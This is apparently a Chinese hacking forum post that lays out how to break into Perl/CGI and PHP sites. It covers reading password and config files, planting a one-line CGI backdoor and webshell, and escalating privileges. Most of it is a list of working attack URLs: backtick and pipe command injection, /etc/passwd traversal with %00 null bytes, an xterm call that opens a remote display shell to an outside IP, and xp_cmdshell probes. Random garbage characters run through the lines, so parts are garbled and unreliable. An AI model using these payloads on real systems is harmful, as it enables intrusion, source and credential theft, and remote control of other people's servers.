总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 , Z" X/ v% B2 s: P \( H
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 * {+ }; E1 t; E7 l: Q
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 ; } S! g. m5 f
注“
3 B X6 h; y+ U; F' {perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 7 g6 |) R& ?2 q
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 7 k' Y' S9 W' n/ ^; z
; B8 c; t0 `* D0 |: X3 i+ yhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
+ {# {. d, m, J) l5 _http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
' @! i, c7 n/ z# Z( Zhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
8 A4 a M8 W' l8 G" u( \: H2 \http://target.com/cgi-bin/home/news/sub.pl?`id`
5 I. ] K) a. |; ~http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` 5 \5 X/ e; W. Q2 {5 ?8 I1 c
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 6 ^5 N5 a" e7 V* s! j- V5 \
4 c9 C! Y! Y- [2 d) z! {) Z
http://target.com/test.pl;ls|
1 q- Y! M$ L4 e$ h7 Q# ?8 U6 ghttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
& E* o+ t8 p' ^& Q% m7 F& @http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
" m: M. y9 g5 T) M9 M+ @http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
6 B* X5 j- O& J1 V! }, d比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
" Q. f; g- r2 k% Fhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
8 d! H; J- K7 q" S; w) K9 z/ m8 i9 O& G
http://target.com/test.pl?&........ /../../etc/passwd ! f+ G+ P* U9 g J
# }& C0 p' A+ Q! R% ~; Q( o5 u
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ - \1 `$ @) j2 C' k- [' R" |) d
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
" L" K1 ?" O- {1 a* X' x- `http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
+ p! U6 B5 w3 O9 V! M C1 c
1 E, V/ i" m9 {% b8 p0 ^http://www.target.org/show.php?f ... /include/config.php 查看php代码
" P% d, J; ^! \( ~http://www.target.org/show.php?f ... ng/admin/global.php 1 g6 o( r7 M9 f
3 t: ]9 {! d( Zemm和ps的一句话' h, C: [# {# n; ?1 B
4 E0 f5 ^! G( `( d
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
1 r9 k) i- p( F" J/ E3 @9 q
: W4 Z: h m5 M% X' i>bbb%20| ! s" l3 y( D" P0 _; |9 l
+ p% C& @; A! v [6 X/ I$ U: shttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 % g; g6 c5 `8 |) [+ ^
& n( w" L7 L6 ?' h
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 # A" }% C! g5 ^. V Y( d3 D
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
' R" h4 ?) \) Z% i4 k
4 X! i. [( Q) Y' Y' K2 D相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 0 z+ P* o+ r/ \* W& h
http://target.com/index.html#cmd.exe
- |; N1 o& _) [+ h" Ihttp://target.com/index.html?dummyparam=xp_cmdshell # r g- |1 T, J! D0 U8 A3 S
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
8 t3 P A* d0 g4 I2 y |